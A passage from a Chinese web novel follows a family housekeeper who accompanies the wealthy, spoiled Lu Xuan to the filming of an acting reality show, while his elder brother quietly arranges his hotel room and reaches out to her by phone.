而且每个人都是自由的,如果她真的要离开他也不能阻拦。 可是陆尽之脑海里的天秤已经运转了一晚,他却依旧没有精准的计算出多少钱才适合乔梧继续在陆家工作。 到底是哪一项没有计算在内。 吃完早餐,陆应池和陆柠为了赶早八匆匆离开。 陆尽之换完衣服来到大客厅,余光忽然扫到了墙壁上挂着的行为守则,对比上次的一扫而过,这次他走到前面认真从头看到了尾。 包括几只小学鸡给自己定下的目标。 如果他没有记错,他出国之前家里还是鸡飞狗跳的,没有人会愿意这个时间出门上学。 陆柠昨晚说,如果她不争气乔梧就会走。 所以乔梧待在陆家工作需要的不仅仅是钱,还有其他的目的。 而所谓的争气,是家里这几个人为了留下她的筹码。 这一刻陆尽之的心里的天秤骤然倾斜,困扰了他一晚上的问题在这一刻也豁然开朗,他在天秤的金钱那一头打上了一个浅浅的问号。 另一头乔梧的工作能力上却多出了额外的一条——除了她没有其他人能在他的书上留下痕迹,没有人会叫他陆尽之。 这是乔梧的附加价值。 可他除了能给予的金钱,还能给予什么附加筹码呢? 天才在这一刻再一次陷入解不开的困境。 另一边,乔梧已经跟陆宣来到了节目录制的城市。 走出机场的陆宣看着自己的几大个行李箱,脸色漆黑:“我的助理呢?” 上飞机前还有经纪人给他拿一下行李,可下了飞机他身边除了乔梧就没有其他人了。 陆三少爷这辈子从来没吃过这么重的苦。 乔梧推着自己的行李箱,十分轻松,扫他一眼,笑道:“谁让你带这么多衣服?少爷,你现在已经没有钱可以请得起助理了。” 过去陆应池的经纪人和助理工资都是从他这里出,可现在他的卡被停了,以他现在的工作能力,公司给他的经纪人手底下都不仅仅只有他一个艺人,更别提助理了。 “还能行吗?”乔梧问。 陆宣深吸一口气:“怎么不行?” “我的意思是……”乔梧将自己的行李箱推到他面前,笑道,“能行的话,你要让金主自己拿行李箱?” 瞬间陆宣脸都绿了。 他为了第一个节目,早上特意早早起来让造型师做了个发型,穿了一身高定。 结果下了飞机要自己拿行李箱不说,还要给乔梧拿行李箱。 “谁才是管家?”他问。 “看你。”乔梧笑说,“你是希望我用管家的身份陪你去,还是希望我用朋友的身份陪你去。” 陆宣表情怪异了一瞬:“朋友?” 乔梧恍然:“我忘了,你并不在意。” 她伸出手:“我自己来吧。” 手还没碰到行李箱,另一只骨节分明的手却搭在了拉杆上。 陆宣倔强地推着所有行李箱越过她:“走。” 乔梧在他身后驻足一秒,随后笑着走上前,分担了他的工作:“一起吧,朋友。” 她不是拿不动自己的行李箱,只是想趁着这个机会治治这个人的毛病,免得下一次又把自己身上所有的钱都甩她身上买她“出差”。 陆宣戴着墨镜,可垂下眼也能将那只伸过来的手看得分明。 看起来那么瘦弱纤细,却每一次都能精准拿捏人心。 朋友? 陆宣心想,这么多年来他还是第一次发现自己跟乔梧之间还能有这样的关系,比所谓的少爷或者管家听起来舒服多了。 一个小时后,他拿着房卡站在自己的房间门口,气笑了:“朋友,请问为什么我的房间跟你的房间不一样?” 三少爷去哪里住的都是酒店的顶级套房,第一次看到大床房。 他就说,为什么酒店的服务员只给乔梧拿行李,还不给他拿! 乔梧语气自然:“我的房间是自己花钱定的,你的是节目组定的,当然不同。” 陆宣一秒都没有多犹豫,将自己好不容易才推来的行李又转身推了回去。 “你去哪?” “我要去你那里!” 他知道乔梧的房间一定不止一个卧室! “在这里住我会睡不好。”他头也不回,“睡不好就会表现不好,表现不好就不能给你拿奖了。” 这都是什么歪理。 “那我走了以后呢?”乔梧摊手,“我是不会给你续房费的,到时候你还是得下来住。” 陆宣没说话,只是一味的按电梯。 知道他一时之间接受不了这个落差,乔梧无声叹了口气,终究还是不忍心跟了上去。 她知道以陆 家的家底,陆宣完全可以不用吃这种苦,但她担心。 陆宣已经23岁了,养尊处优的少爷如果不受点挫折不知人间疾苦,任何一点意外到来他都会被轻易压垮,如果要做一个优秀的演员,他需要承受面对的困难会更多。 这才哪到哪。 梦里的陆宣吃不了任何苦,所以在娱乐圈一事无成,后来被人灌醉下套哄骗,声名狼藉,给陆家招去了不少负面影响,再之后又跟陆尽之彻底闹翻,更是被人踩进了泥里一蹶不振,接受不了这种落差的他直接自己结束了生命。 陆宣的确有很多不足,但归根究底现在的他只是一个受委屈了偷偷哭的哭包而已。 乔梧希望他能成为一个独当一面的大人。 她走上前打算给陆宣挡一下电梯。 这时电梯上来,门打开,里面还站着一个人。 那人看到乔梧后,唇边扬起恰到好处的弧度:“乔管家,好巧。” 乔梧微微颔首:“秦总。” 心情很不好的陆宣视线在两人之间转了转,推着行李箱站到两人中间,愣是把秦敛逼到了角落去。 “你们认识?”陆宣问。 乔梧:“昨晚见过一面。” “哦。” 那就不是朋友了。 秦敛觉得这个画面很有意思,作为一个管家,但拿行李的却是陆家的少爷。 他问:“你们这是?” 陆宣知道秦敛,会做生意的心眼子都脏,尤其他家那个弟弟,也不是个人。 所以他抢在乔梧之前回答:“工作。” 乔梧点头。 察觉到陆宣对自己的防备,秦敛也没有起什么心思再问,只是无声观察着。 然后他看到陆宣朝乔梧伸出手:“房卡。” 乔梧拿了一张房卡递给他。 陆宣又说:“你走了的事再说,反正这几天我就跟你住。” 秦敛高高挑起眉。 电梯到了,他先一步走出电梯。 想了想,还是觉得不太对。 虽然他跟陆宣和陆应池这两个纨绔没什么太大的交集,但在陆尽之出国前,他也常跟陆尽之有竞争或是合作往来,亦敌亦友,敌面比较多。 陆尽之那个人不配有朋友。 据他所知,陆尽之掌权后陆家任何人都应该在他的管理之内,包括管家。 以陆尽之挑剔的性格,一般人没有他的认可不可能走到这个位置,所以现在这个场景有意思到让秦敛很想看看陆尽之的反应。 他给陆尽之发了条消息。 “陆家已经拮据到需要管家跟主家住同一个房间了么?” 第34章 第三十四章二更 回国上班第一天,陆尽之收到了一条垃圾信息。 他扫了一眼发消息的人,动手就要把对方拉黑。 下一秒却从那句话里提取了一个关键词——管家。 陆尽之手上动作凝了几秒,然后指尖轻动,敲下一句话。 刚进房门的秦敛提到提示声音一看。 陆尽之:“一把手表述能力差到连句话都说不清楚,秦家也走不远。” 秦敛:“……” 所以陆尽之这种人怎么会有朋友? 他也懒得跟对方你来我回了,直接发过去:“你弟弟跟你家管家关系应该不错,毕竟同住一屋。” 弟弟? 陆尽之没有弟弟,倒是养了两条野犬。 但这并不妨碍他理解了最初那条消息的意思。 陆宣跟乔梧住一个屋了。 那边的秦敛等了很久都没等到陆尽之的反应,刚想再问问,结果对面只发来短短五个字。 陆尽之:“工作发邮箱。” 秦敛:“?” 然后他的消息被拒收了。 “……” 秦敛气笑了,有病啊陆尽之! 他说句实话而已,踩他尾巴了?心眼小成这样。 另一头拉黑了秦敛的陆尽之十分心安理得,想要联系他有很多方式,但总是发一些乱七八糟的消息来打扰就是秦敛不礼貌了。 堂堂一个总裁,整天做些狗仔做的事,看来秦家的确也没什么前景。 他放下手机,陆宣和乔梧穿开裆裤的时候还睡过一张床,现在睡一个屋有什么大惊小怪的。 几秒后他视线又望向桌面的手机屏幕。 再怎么粘人也该有个度,陆宣脑子是还停留在穿开裆裤的年纪?这种没有分寸的事也做得出来。 没想到小时候要把乔梧从狗堆里拔出来,现在也要。 他打了个内线电话:“徐朝。” “陆总。” “查查陆宣的酒店。” 坐在工位上的徐朝差点以为自己接错了电话,再一看是陆总的内线没错啊。 陆总居然管起家里的事了?! 而此时已经顺利进入乔梧房间的陆宣生怕她再反悔,推开门找到客卧后就麻利把自己的行李箱给推进去,还把里面的衣服全拿出来扔在了床上。 这幼稚的行为乔梧全看在眼里,却没有阻止他:“衣服乱了我不会帮你整理的,我现在要休息,没事不要打扰我。” 昨天因为晚宴的事忙得太晚,今天又起得太早赶飞机,她没有睡好,担心明天去录制的时候精力不够。 陆宣看着满床的衣服,又一件件地捡起来:“哦。” 主卧的门传来关上的轻响,陆宣手上的动作这才渐渐慢了下来,他腾出可以给自己躺下的地方,然后往后一倒。 爽。 他会叠个屁的衣服!乔梧没赶他走就行,他不想去睡那个大床房。 躺着躺着他也睡着了,再醒来的时候是被饿醒的。 陆宣看了眼时间,爬起来洗了个脸,走出房门的时候乔梧的房间门依旧关着,看来是还没睡醒。 他熟练地打电话让酒店把晚餐送上来,然后窝在沙发里玩手游。 玩到正激烈的时候,听到轻轻的啪嗒一声。 随即乔梧的声音响了起来:“晚饭吃了吗?” 陆宣手抖了抖,操纵的人物直接被人一顿爆锤锤死了。 他抬起头看向声音来源处,白天进来时没开灯,他醒来时只有零星几盏灯亮着,想着才醒来不愿意眼睛太难受所以也没开,所以这会儿灯依旧很暗,只有乔梧背着她房间里的灯光站在那里。 看不太清脸,但陆宣却是第一次听到她这种声音。 没有平时胜券在握的清亮,透着股刚睡醒的沙哑和慵懒,也很轻,轻得发柔,像是羽毛一样让他从刚才的厮杀中瞬间清醒。 乔梧没听到回答,去把厅里的灯打开了,看见陆宣窝在沙发里发呆:“愣什么呢?” 陆宣被突如其来的光刺得眯了下眼,视线再清晰的时候看见乔梧朝他走来,他无意识往里挪了挪。 才睡醒的乔梧穿得没有平时那么精致,只是套了舒适的短袖和长裤,唇色很浅,她没戴眼镜,眼中还有些才睡醒的惺忪和倦怠。 在他不远处的沙发坐下后,她随意抬手整理了一下自己微乱的头发,不知道从哪拿来的发圈轻轻套上,边动作边掀起眼睑望向陆宣:“你怎么了?” 陆宣猛然回神:“没什么。” 他将正在游戏中的手机扔到沙发上站起来,去倒了杯水喝:“我让酒店送了晚餐上来。” “嗯。”乔梧按了按太阳穴,“我睡过头了。” 幸好她调了闹钟,记得要起来吃晚饭。 喝了一杯水后的陆宣感觉自己清醒了很多,他舒了口气靠在岛台旁边,皱眉:“陆尽之那三瓜两枣给你安排这么多工作?” 乔梧失笑:“你五万块还雇我四天呢,他就三瓜两枣了?” 陆宣懒声道:“如果是我,我就不会给你安排太多事,你只要听我一个人的就好了。” “有道理。”乔梧点头,“按你的意思,以后我就只听你哥就行,你们就不管了。” “……你别曲解我的意思。” 门铃声响起,是酒店送来了晚餐。 提了一天行李的陆宣现在已经很自觉去开门了,没再继续刚才的话题。 乔梧今天除了早餐就是这一顿,所以吃得很专心一直没说话。 陆宣则是有些心不在焉。 他不太自在,但又说不上来为什么。 今天来乔梧的房间纯属是他不想忍受大床房,所以那会儿什么都没有想,反正他以前不是没有跟乔梧在一个房间待过。 可刚才看到乔梧走出来时,他忽然觉得哪里不一样了,就是有点别扭。 味同嚼蜡地吃完饭,听到手机铃声的时候他几乎是迫不及待地冲去了沙发。 “陆先生您好,酒店这边已经给您升级了房型,如果您要入住需要我们送房卡过来吗?” 陆宣:“你打错了。” 他哪里来的钱升房型。 “没有。”酒店经理说,“陆宣先生,是一位叫徐朝的先生给您升级的。” 徐朝? 陆宣深刻地记得这个人,当初就是这个逼跟陆尽之打视 频电话,害他被停了所有卡。 但徐朝不知道他的身份信息,所以……陆尽之干的。 最怕别人突如其来的关心,尤其那个人还是不干人事的陆尽之。 拉黑了他,但是给他升房型? “不用送了。”他啪的一下挂了电话。 陆尽之升的房型,半夜一定闹鬼。 没过一分钟,他的手机再次收到短信提醒。 他的其中一张卡,解冻了。 陆宣:“???” 陆尽之是不是被什么玩意儿附身了。 真是晦气! 陆宣将手机再次扔掉,全当没看见。 乔梧将他的反应尽收眼底,不解道:“你今天一惊一乍的。” “看见了不干净的东西。”陆宣自然地说,“你吃完就赶紧休息,免得一会儿找上你。” 乔梧:“……” 吃完饭后,乔梧回到房间并没有睡觉。 虽然来了其他城市,但工作还是要做的,她要看看今天有没有什么需要处理的信息。 等她再次忙完时,时间已经到了晚上十点,担心第二天起不来,她打算洗个澡就睡觉。 在吹头发时,她看到手机上有陆尽之的来电。 “陆尽之?” 陆尽之嗯了一声,开门见山地问:“陆宣呢?” “应该在休息。”乔梧问,“怎么了?” “给他升级了房型。”陆尽之言简意赅,“让他滚。” 乔梧愣了下。 合着那个不干净的东西是陆尽之啊。 如果陆尽之想要知道陆宣的行踪能有一万种方法,乔梧没纠结这个问题:“我客房是空着的,也没关系。” 可陆尽之却道:“房已经开了,不去浪费。” 那倒也是。 “我一会儿过去看看他睡了没。”乔梧应下,“你直接给他打电话不是更快?” “他不会接。” 陆尽之连黑名单都没给陆宣放出来,也没有起过给那条傻狗打电话的念头,既然陆宣拒绝了酒店,那就不会接他的电话,不需要做这种无用功。 “我是找你的。”他说。 乔梧疑惑:“找我?” 那头安静了几秒,在乔梧以为他已经挂了的时候,听到对方清缓的嗓音:“今天要加班。” “嗯?” “给你报个平安。”陆尽之说。 当初制定这个规则的时候,乔梧从来没有想过要把陆尽之加在里面。 一是他理智有头脑,不会做那些越界的事,二是他不是一个会心甘情愿被什么束缚的人,所以她跟陆尽之提过的意见也仅仅只是希望他不要影响到规则的执行。 但乔梧也没想到,陆尽之说他在规则里的意思是,他会按照上面的每一条认真履行。 说报平安就真的只报平安,说完后陆尽之就挂了电话。 乔梧在原地怔了一会儿才想起来要去找陆宣。 这边的陆宣也刚洗完澡,听见有人敲门,他拢好浴巾。 可刚走到浴室门口,忽然又想起之前乔梧说他卖身也没人要的事。 他走到镜子前,擦干净镜子上的雾气,露出一张让他很满意的唇红惑人的俊脸来。 “所以果然是她没品。” 他一边嘀咕着,手却往后理了把头发,将原本放在旁边的耳钉拿起来戴上,顿了顿,又欲盖弥彰轻轻扯了扯浴袍的领口,似有若无地露出一点点胸肌。 五万块,只能给她看到这儿了! 做完这些后他才去打开房门,刚要十分不经心地开口,却见乔梧同样也湿着头发。 但跟他不一样的是她穿戴整齐,只有头发没有吹过,有些头发贴在她的脸上,衬得她肤色更加白皙,还有几分破碎的味道。 陆宣捏着门把手的掌心有些发烫,他视线移开:“怎么?” “你哥给你升级了房型。”乔梧说,“空着也是浪费,你过去睡吧。” 陆宣:“……” 陆尽之是不是有病?!大半夜给人打什么电话! 他觉得哪里不太对劲:“他给你打的电话?” “嗯。”乔梧眼神清澈,“早点过去吧,去那边你还可以睡主卧。” 谁踏马说的想睡主卧了! “我不去。” 乔梧想了想,陆宣的东西都放在这儿了,再收拾起来会比较麻烦,她的东西倒是要少一点。 “那我去吧。”她转身,“你早点休息。” 陆宣被她发尾的湿意甩了一脸,一把拽住她的衣角,硬生生挤出一句话:“我去,你待着。” 以为他是反悔了,乔梧也没坚持。 “那你东西先放在这儿吧。”她说,“明天我给你收拾。” 这下子陆宣的心情才被哄好了一点,嗯了一声回头走了。 乔梧在他身后,莫名觉得现在的陆宣像条湿漉漉的小狗,但她想不明白去睡主卧为什么他会失望,怀着安慰的心理温声提醒:“睡觉要记得摘耳钉。” 陆宣的背影僵硬一瞬,然后毫不犹豫地冲进浴室。 他站回镜子前,气冲冲把耳钉摘下来,又把自己的浴袍拢得严丝合缝。 可恶,气死了。 乔梧就是没品!没眼光! 什么耳钉!那是他的胸肌胸肌! 他总有一天一定要让她知道,他的魅力有多大,外面多少人为他尖叫! 他打电话让之前的酒店经理把房卡送来,抱着自己的东西站在电梯里生闷气。 想了半天越想越气,然后打开手机给始作俑者发邮件。 拉黑了手机微信,他还能拉黑邮箱?! 晚上十点半,陆尽之的邮箱收到新邮件提示。 娱乐圈颜王:“陆尽之你睡不着能不能多吃点安眠药,专心自己,离巨星的生活远一点OK?别总去骚扰别人!!!你这是私生私生!!!” 将消息来回看了几遍,陆尽之从他的歇斯底里中得到了自己想要的信息。 出去了。 标记,垃圾邮件。 陆宣连发了好多条控诉陆尽之的邮件后,终于平复了一点心情。 但转念一想还是觉得哪里怪怪的。 陆尽之停了他的卡,应该是他去睡大街都不管的,怎么今天忽然又解冻又给他升房型,还让乔梧把他赶出来。 做老板的现在这么闲了么? 总不能是关心他。 那就是乔梧,小时候抢,现在也抢。 关键是他抢乔梧干什么,明明乔梧现在已经是大家的管家了!- 演技训练营这个节目已经好几季了,参加节目的人一般都是已经出道的艺人,有已经过气的,也有想要转行的,也有新人,所以人员覆盖面挺广。 一共20个学员,每一个学员在进入训练营之前都有一段自我展示的时间。 在这段时间之前,会有一个对于亲友的采访。 节目组给学员们订了同一个酒店,就是方便备采。 一早工作人员就开始去每个房间准备采访了。 得知陆宣升级了房型后大家也并不意外,毕竟圈内都知道这是个很有钱的富二代。 只不过在敲开门时,所有人的工作人员都惊了。 开门的人并不是陆宣,而是一个极其漂亮的年轻女人,她甚至还没有化妆,硬生生凭着自己的颜值抗下了怼脸的镜头,美得让跟拍都忘了进门。 节目组副导演低头看了眼自己手里的资料,确保学院里没有这么一个天仙,愣愣地问:“您是?” “你好。”乔梧往旁边让开了一步,“找陆宣吗?他在换衣服,请进。” 陆宣昨晚没有折腾把行李拿走,所以今天提早过来换衣服,也一起让节目组直接来这儿了。 “不好意思。”副导演吓得台本都要拿不稳了,“你跟陆宣住在……一起?请问你们是什么关系?” 长这样的你别跟我说是助理经纪人,不会节目还没播就要爆料一个富二代的秘密女友了? “我是他的朋友,一起备采的。”乔梧知道他们在想什么,温声解释,“他的行李太多昨晚没有拿走,就来这儿换衣服了,他在客房。” “噢噢!” 是真是假副导演并不在意,他只要拿到这个答案就行,到时候自有观众决断。 他可不敢轻易对陆宣说什么,毕竟这人火倒是不火,但是在圈里是出了名的混世魔王难伺候。 得知他要来节目时,节目组也没指望他能走到最后,就是要抓一波开始的流量而已,陆宣吃不得苦挨不得骂,咖位不高脾气挺大,拍戏也没什么经验,所以大家都默认少爷就过几天就会自己退出了。 果不其然,现在才开始录制,第一波流量就来了。 “他慢慢换。”副导演也不敢催,“我们先采访你也是一样的。” 乔梧点头:“好。” 正在换衣服的陆宣听到外面有人声时加快了动作,等他打开门出来的时候,节目组的人已经开始采访乔梧了。 为了保证镜头的光影,她坐在窗前,晨光在她脸上映出淡淡的光晕,哪怕是面对镜头也没有一点不自在,从容得仿佛她本身就是焦点。 节目组的人拍她过于专注以至于忽略了他这个正主已经出来了。 有背对着他的工作人员偷偷议论:“我还以为是个出道的新人呢,这也太美了。” “她好镇定,比刚才采访过的好多人都稳,气质也好出众,我赌到时候节目播出她一定会被很多人关注。” “她是陆宣的朋友,要是以后也出道,就凭这张脸这身材,一定会火吧。” “那你还不赶紧提前给她要个签名或者合照,以后人家要是火了可能就轮不上你了。” “快别说了,马上收音了。” 陆宣懒懒靠在房门口听着这些议论,目光仿佛镜头一样抓在乔梧身上。 副导演按照台本走:“你跟陆宣是什么时候认识的?” 乔梧:“出生就认识。” “那算是青梅竹马了,你觉得他是个什么样的人呢?对于他做演员这一行你是怎么看的?” 乔梧的视线一直在看镜头,可陆宣懒散的姿态却微微正了。 他紧紧看着那张记忆深处的脸,搭在手臂上的指尖不受控地合拢,期待她的回答。 她会说什么? 说他演技差,脾气不好,纨绔,难以管教,以及……没有任何魅力。 “他啊……” 乔梧的声音跟着晨光一起落到他面前。 秋天的阳光只有很淡的温度,却恰好好处让人觉得舒适,像是她现在温软的声音。 “是个笨拙的人。” 陆宣眸色轻颤。 他视线中心的人仿佛越过镜头与他对视,她唇边笑意清浅:“笨拙到单纯,我没有办法评价他的能力,因为作为朋友我对他永远有偏向,也一直在期待他未来发光的样子。” 这一刻的陆宣有些迟钝地眨了下眼,周围的声音都淡去,只有乔梧的话一直在他耳边回响。 她说,她对他永远有偏向。 第35章 第三十五章尊敬的人 在场所有人忍不住道,这哪里是偏向,你的水都要放到太平洋了。 陆宣那样的人笨拙?单纯? 他那查无此人的演技走另一种抽象赛道才可能发出万丈光芒。 这得待戴多少种颜色的有色眼镜才能说出这么荒唐的话来。 但没有一个人敢提出异议。 任何人都不可避免有一份私心和偏见,副导演曾经觉得物以类聚人以群分,像陆宣那样跋扈的有钱人身边的人可能也不好相与,更别提眼前的女人浑身上下都透着一股只可远观不可亵玩的距离感。 却没想到她说话滴水不漏,态度温和有礼,让人觉得如沐春风,以至于节目组所预想的在陆宣这里要花费很长时间的备案被舍弃。 前采结束得很快。 说了句谢谢合作以后副导演忍不住问了一句:“请问怎么称呼。” 一般情况下节目组是不会询问嘉宾以外其他人的姓名的,后期只会在画面上加一句“xxx的家属/朋友”。 但眼前人坐在那就容易让人忽略了她是某个人的附属品,她就是她,该拥有自己的姓名。 “我姓乔。” 虽然乔梧学的东西多,但她从没想过自己要进娱乐圈,所以在这方面的流程的确不太清楚,以为这是必要流程,便道:“乔梧。” “乔梧小姐。”副导演跟她说话语气都要轻几个度,“一会儿采访结束会有车把你们送去演播厅,途中都会有跟拍,这一段会经过剪辑放在先导片里,过去的途中你们可以适当互动,说一些关心鼓励的话,镜头也会多一点。” 套路都是这么个套路,但是具体能剪辑多少就不好说了。 乔梧点头:“好,谢谢。” 她从窗前站起来,一早就注意到了房门外的陆宣,所以径直走过去:“到你了。” 说完后她才发现陆宣的表情不太对劲。 有点像小狗走丢了,还没找到回家的路,所以茫然无措,还有点委屈。 “紧张?” “没有。”陆宣依旧看着她,他想问问刚才那些话是真的吗? 明明她连他演过的戏都没看完,还说演技太差,霸总味道很浓,还说他一点都不红。 可话到嘴边却没敢出声。 万一乔梧只是为了他在镜头前的颜面呢,问出来不就自讨苦吃了。 “算了。”他放弃这个念头。 “等下。” 陆宣定住脚步,眼睁睁看着乔梧朝自己伸出了手,他瞳孔微缩下意识想往后逃。 下一秒,那只手只是听在他肩膀的位置,轻轻扯了扯他用来装饰造型的丝巾:“好了。” 只轻轻触到鼻尖的香味一瞬而逝,陆宣的呼吸渐渐变得平稳,目不斜视地走到镜头前坐下。 副导演打起精神应付这尊大神:“那我们开始了?” “嗯。” 副导演:“请问你是怎么想到要来这档节目的呢?” 陆宣蹙眉:“不是公司让来的?” 所有人:“……” 谁让你这么直白了! 果然,该来的还是会来的。 副导演:“那你来到这个节目,对自己有什么期许呢?” 陆宣:“第一名。” 副导演差点没绷住自己的表情,他忍不住问:“你好像很有自信。” 其实他更想问的是,你哪来的自信。 这都什么傻逼问题,你别以为我没看到你扭曲的表情! 陆宣刚要发火,抬头一看乔梧站在镜头后面,没有像其他人那样震惊或是怀疑,她好像只是单纯地在认真听他说话而已。 他压着脾气,挑着眉道:“不是你问我有什么期待?” “是。”副导演被他绕回来,又问,“能说说当初为什么选这一行吗?” “因为……” 陆宣难得滞了几秒,随后笑了下:“帅。” 他从小不喜欢看书,又想找到一点可以跟乔梧有共同话题的兴趣爱好,所以常常拽着乔梧跟他一起打游戏。 但乔梧对打游戏和那些玩具也不感兴趣,倒是偶而会看看电视剧。 她看电视剧的时候会很投入,会耐着心花很多时间一口气把一部电视剧从头到尾看完。 他那时候也想得到她那样专注的目光和专属的耐心。 所以他特意问过她为什么会喜欢看电视剧。 乔梧说:“很帅。” 陆宣从小就知道自己长得好看,所以他觉得自己长大后也能成为电视里那么帅的人,从那以后他就很着迷地看电影看电视剧,而乔梧第一次说过帅的那个演员,也成了他一直以来的目标。 他并不觊觎家产,也对做生意没什么兴趣,长大后跟乔梧的关系也变得莫名,乔梧才出国的那段时间,他甚至没有像以前那样那么迫切地想要见她一面。 那时的陆宣惊恐地发现自己已经不再执着于要待在乔梧身边、得 到她的关注了。 但他同时也变得很迷茫,因为他唯一的坚持没有了。 他想了很久,决定迈入娱乐圈,至少在他那时的认知里,这件事是他坚持下来想要做的。 娱乐圈跟他想象中并不一样,他把这件事告诉乔梧,对方的反应跟他想的也不一样,没有人引导他,没有人可以给他建议。 乔梧只会盲目地说他很好很厉害。 这是他曾经想要的,却又不是他现在想要的。 有那么一段时间,陆宣甚至觉得自己连做演员的坚持也毫无意义。 可他能做什么呢? 他什么也做不了。 就在他要沉没于那片幽暗昏沉的海面时,乔梧回来了,她将他一把从幻境里拽出来,告诉他他一文不值。 却转头说,她会期待他站在领奖台上的那天。 不仅仅是说说而已,她也在为了那一天做努力。 所以陆宣觉得,自己好像还能再往前走一走。 他仅仅在公司上了几天的课,也知道第一名的目标其实挺远的,但是……他就是想要。 采访结束后副导演先行离开,只留下跟拍和负责引导的工作人员。 吃完早餐后,乔梧浅浅化了个淡妆才跟陆宣一起上了节目组的车,出门在外,她一向都比较注重自己的形象。 “陆老师第17个入场。”工作人员说,“我们需要等一等前面几个车,我们可以趁着现在的机会录一点素材。” 也就是传统综艺里的煽情的画面。 但工作人员说完后却发现两人一点动作都没有,不由有些纳闷。 “乔小姐?” “嗯。” 乔梧一直都很尊重各行各业的工作,所以节目组为了得到多一点素材让她说点什么她也很配合,但让她说一些煽情的话她还真说不出来。 所以她想了想,问一直没吭声的陆宣:“能吃苦吗?” 陆宣没太反应得过来:“什么?” “未来一个月你可能会经历你人生中从来没经历过的困难,除了生活以外,工作上需要花费很多的努力和精力,你能坚持下来吗?” 怀疑谁呢? 他只是不愿意睡个大床房而已! 陆少爷觉得自己已经不能再遇到比这个更难的困难了。 “当然。” “那会跟人好好说话吗?” “你这是什么问题?” 乔梧莞尔:“在节目里你是陆宣,也仅仅只是陆宣,评价你的是老师,在你身边跟你一起学习的,是你的同学,他们或许都不认识你,任何一个人在资历上都算是你的前辈。” “陆宣,你在节目里没有任何特权。”她温声说。 所以不能发脾气,不能为所欲为。 陆宣也意识到了这个问题,可他生来就自带特权,哪怕是以前拍戏全组的人都要为他服务,出席任何活动就算不火也没有人敢给他脸色看。 好像真的有点困难。 他轻轻压了下眉。 但又不喜欢乔梧这么不相信自己能做好的样子,所以他嘴硬道:“我又不是陆尽之。” 怎么,陆尽之是衡量会不会好好说话的一把尺? 乔梧觉得陆尽之还行啊,挺好交流的。 “如果你都能做到。”她笑道:“那你已经是第一名了。” “你说了算?” “不。”乔梧压低声音,“在我这里是。” 所以他所说的为了五万块钱要拿一个第一名回来,只要他能坚持一个月,她就认可了这个第一名。 陆宣愣了愣,随后眼尾轻挑:“坚持不下来我跟你姓。” 乔梧不置可否:“那我们走着瞧。” 工作人员摸了摸鼻尖,偏过头轻咳了一声。 乔小姐是不是忘记了她戴了麦克风?再怎么小声都是会被录下来的。 很快就到了陆宣的轮次,乔梧跟他一起下车,她要去演播室看完他的首次评分表演。 两人下车的一瞬间,吸引了所有人的注意力。 副导演得意地说:“我就说吧,今天来了个意外之喜,这就是陆宣的那个朋友,叫乔梧。” 导演对他竖起拇指:“真不错,一会儿亲友演播厅的机位多注意一些,给这个乔梧多一点镜头。” 坐在后面的一个男人以为自己听错了,抬头问:“谁?” “乔梧。”导演回头,“秦少认识?” 秦天睿推开身前的人走上前盯着镜头里的女人,咬了咬后槽牙。 她怎么会来? 原本他哥来这个城市出差,他闲着无聊就跟着来玩,他哥跟人谈合作去了,他就来了节目现场,因为他听说陆宣也会参加。 秦氏是这个节目最大的赞助商,甚至视频平台也有他家的股份,所以他算是这里的太子爷了,他就是想要亲眼看看陆宣那样的烂演技会被那些导师们批成什么样子,再当面狠狠羞辱他。 可他没想到陆宣请来的亲友会是乔梧。 不是,你们陆家是没人了吗? 一个管家被你们呼来喝去,还要陪着上节目? 不对,陆宣那个草包跟家里的关系本来就不好,听说为了进娱乐圈还跟他爹翻脸离家出走。 那的确是没有其他人愿意陪他来这里了,只好叫自己的管家。 秦天睿觉得很畅快,他想了下,要是自家那个五十多岁的管家要跟自己同进同出,想想就起鸡皮疙瘩。 秦天睿恶声恶气地说:“何止认识,简直太熟了。” 昨晚一直到晚宴最后他都没有露面,是被他哥拎回家的,拉回书房挨了好一顿,他现在后背都是疼的。 导演一听这语气就心道不好。 有仇啊这是。 虽然你是太子爷,但你可不能在我的节目里搞事,这么大个班子可不是给你耍威风来的。 想了想,导演赶紧偷偷给秦敛的秘书发了个消息,请对方如果可以的话赶紧把这少爷请走。 而另一边,乔梧和陆宣的镜头也同步到了学员休息室里,这里有个大电视可以同步看到外面的情况,方便看到学员们的反应。 看到镜头里两张过于优越的脸,已经进入休息室的学员们一阵似真似假的惊叹。 “好帅!” “好漂亮!” “不知道的还以为这已经走上红毯了,他们气质真好。” “不是只有一个学员吗,谁是学员?他们是一个组合?” 学员里有些咖位并不高,自然是混不到更高一点的圈子里,在他们的认知里只有红和不红,并不知道顶层的娱乐圈靠着金钱也是能站在金字塔尖的,所以不少人都没见过陆宣。 而他身边那个女人穿了件白色不规则领的收腰衬衫,下搭一条黑色长裙,又高又迷人,简直跟个模特似的。 等会儿,她怎么去亲友观察室了? “不会吧,长成这样的不是艺人吗?” “不是。” 众人回头望向出声的人,疑惑:“廖廖你认识?” 眼看着乔梧的背影消失在显示器里,廖廖这才收回视线轻轻点头:“见过几次。” “她是谁啊?” 廖廖没想透露乔梧的信息。 其实她到现在都不太清楚乔梧的身份,因为她见过乔梧在陆应池身边,也见过她在陆宣身边。 虽然那次慈善酒会大家都说她是陆宣的助理,但廖廖觉得不像。 没有助理敢用酒灌老板,也没有助理会让老板靠在她肩膀撒娇。 “是很厉害的人。”她说。 这时的陆宣已经走进了学员的演播厅,他能感觉到所有人的目光在这一瞬间都聚集到了他的身上,但他已经习惯了这种注视,所以也没有觉得有什么不妥,跟往常一样找了个位置就坐下了。 周围没有认识的人,也没有乔梧,他坐下后就垂下眼百无聊赖地轻捏手指。 真的很不火的陆三少爷第一次参加综艺,也从来没有了解过综艺该做什么,在他看来这是个演戏的综艺,所以只要来演戏就好了,整那些虚头巴脑的事儿干什么,一个个进来的意义在哪。 下一秒他就知道了,因为这个演播厅里的人全都围了上来,热情又主动。 “老师好,第一次见面,我叫赵迪。” “老师好,我叫……” 这画面格外眼熟,就跟过去他每次出现时,别人来恭维他一样,就是少了杯酒而已。 陆三少爷习以为常地嗯了声。 然后看到面前的人脸色都有些奇怪。 “老师以前也是演员吗?还 是转行了的?” 都是人精,都是圈里的小透明想借此机会让自己出头,所以看到一个颜值担当出现自然就要凑上来,能多一点镜头是一点。 所以每个人都很热情。 但陆宣没有意识到,甚至还翻了个白眼。 “不是演员来这里干嘛?” 所有人:“……” 卧槽,这么冲? 长这么一张脸,但是走黑红路线的? 导演急得要死:“别光惦记着怼脸,注意切镜头看着点情况,要是一会儿吵起来了及时打断,尤其是那个陆少爷。” 